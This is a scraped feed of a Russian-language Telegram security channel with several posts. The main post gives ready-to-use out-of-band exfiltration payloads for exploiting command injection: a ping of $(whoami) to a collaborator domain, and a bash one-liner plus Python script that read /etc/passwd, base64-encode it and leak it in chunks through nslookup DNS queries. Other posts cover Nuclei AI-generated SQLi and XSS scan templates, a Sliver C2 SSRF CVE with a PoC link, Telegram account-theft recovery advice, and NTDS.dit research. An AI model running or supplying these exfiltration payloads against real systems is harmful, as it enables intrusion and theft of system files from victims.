Fsecurity | HH
2.01K subscribers
1.77K photos
108 videos
64 files
6.43K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:


name=val`ping -с 1 $(whoami).collaborator`ue


Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:


Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.


Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:

Получение части от вывода команды

Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене


`ping -c 1 $(id | cut -c1-30| base64 | tr -d '=').domain.com`


Чтение всего файла по частям

Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)


bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'


Данный bash я делал по ранее написанному python-коду:


import os, base64, time

border, domain, delay = 40, ".collaborator", 3

with open('/etc/passwd') as file:
for lineNumber, line in enumerate(file, 1):
encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]

for part, chunk in enumerate(parts, 1):
os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
time.sleep(delay)


Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9

P.S. Если base64 не катит, то просто поменяйте на hex
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
👍1🔥1
Forwarded from #Arm1tage
Интеграция ИИ в Nuclei

В последнем обновлении для нуклей (3.3.9) был добавлен флаг -ai, который позволяет на ходу генерировать темплейт на основе ваших запросов.

Для начала пользования этой фичей нужно получить АПИ токен на сайте ProjectDiscovery. Затем запускаем нуклей с флагом auth:
nuclei -auth

И добавляем токен. Теперь мы можем пользоваться генератором темплейтов. Запуск выглядит следующим образом:
nuclei -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -ai "Detect SQL errors in response when injecting common payloads into GET and POST requests" -dast

Таким образом нуклей сгенерирует темплейт для инъекции SQL в параметры с дальнейшим поиском SQL ошибок, флаг -dast разрешает сканнеру проводить тестирование параметров.

Уважаемый Дмитрий АКА @reewardius создал свой сборник уже готовых промптов для разных типов ошибок и уязвимостей. Некоторые из них уже были успешно использованы в качестве теста. Вот несколько из них для примера:
-ai "Perform fuzzing on all parameters and HTTP methods using DSL, focusing on detecting XSS vulnerabilities (Reflected, Stored, and DOM-based) with pre-conditions."
-ai "Detect exposed .git repositories and sensitive files"
-ai "Identify default credentials on login pages"
-ai "Identify open FTP servers allowing anonymous access"

В общем ждем, когда ИИ будет топ 1 на хакерване.


#nuclei #ai
Forwarded from SecuriXy.kz
SSRF в C2 Sliver Teamserver CVE-2025-27090

Affected versions: >= 1.5.26, <= 1.5.42
Patched versions: 1.5.43

Info: https://github.com/advisories/GHSA-fh4v-v779-4g2w

PoC: [https://github.com/chebuya/exploits/tree/main/CVE-2025-27090%3A%20Sliver%20C2%20SSRF]
Открылся бесплатный набор в 🎓 PFS Academy! Успевайте!
Все на нашем Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Что делать, если вас взломали

Уже не счесть, сколько раз я расписывал тут, что делать при взломе вашего Телеграм-аккаунта, куда идти, что нажимать, как проверять и не допускать (например: раз, два, три, четыре, пять, шесть).

И вот, я наткнулся на сайт, где по минутам в подробностях расписано по шагам и конкретным сценариям, как могут угнать ваш аккаунт и что в этих случаях делать. Переписывать всё это бессмысленно, поэтому просто ловите ссылку.

Какой бы крутой ни была навигация в Телеграм – так намного удобнее. Обязательно сохраните у тебя в закладках браузера и поделить со всеми, кого это может коснуться (то есть просто со всеми). Когда настанет время, вы будете себе благодарны.

#Полезное

Пакет Безопасности | 💬 Чат
🛍 Другие каналы
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from APT
🔍 Exploring NTDS.dit

This blog post examines the structure of the NTDS.dit file, which stores data for Active Directory. It also introduces DIT Explorer, a new open-source tool designed for analyzing NTDS.dit, demonstrating how it interprets the database to provide a structured view of the directory.

🔗 Research:
https://trustedsec.com/blog/exploring-ntds-dit-part-1-cracking-the-surface-with-dit-explorer

🔗 Source:
https://github.com/trustedsec/DitExplorer

#ad #windows #ntds #dnt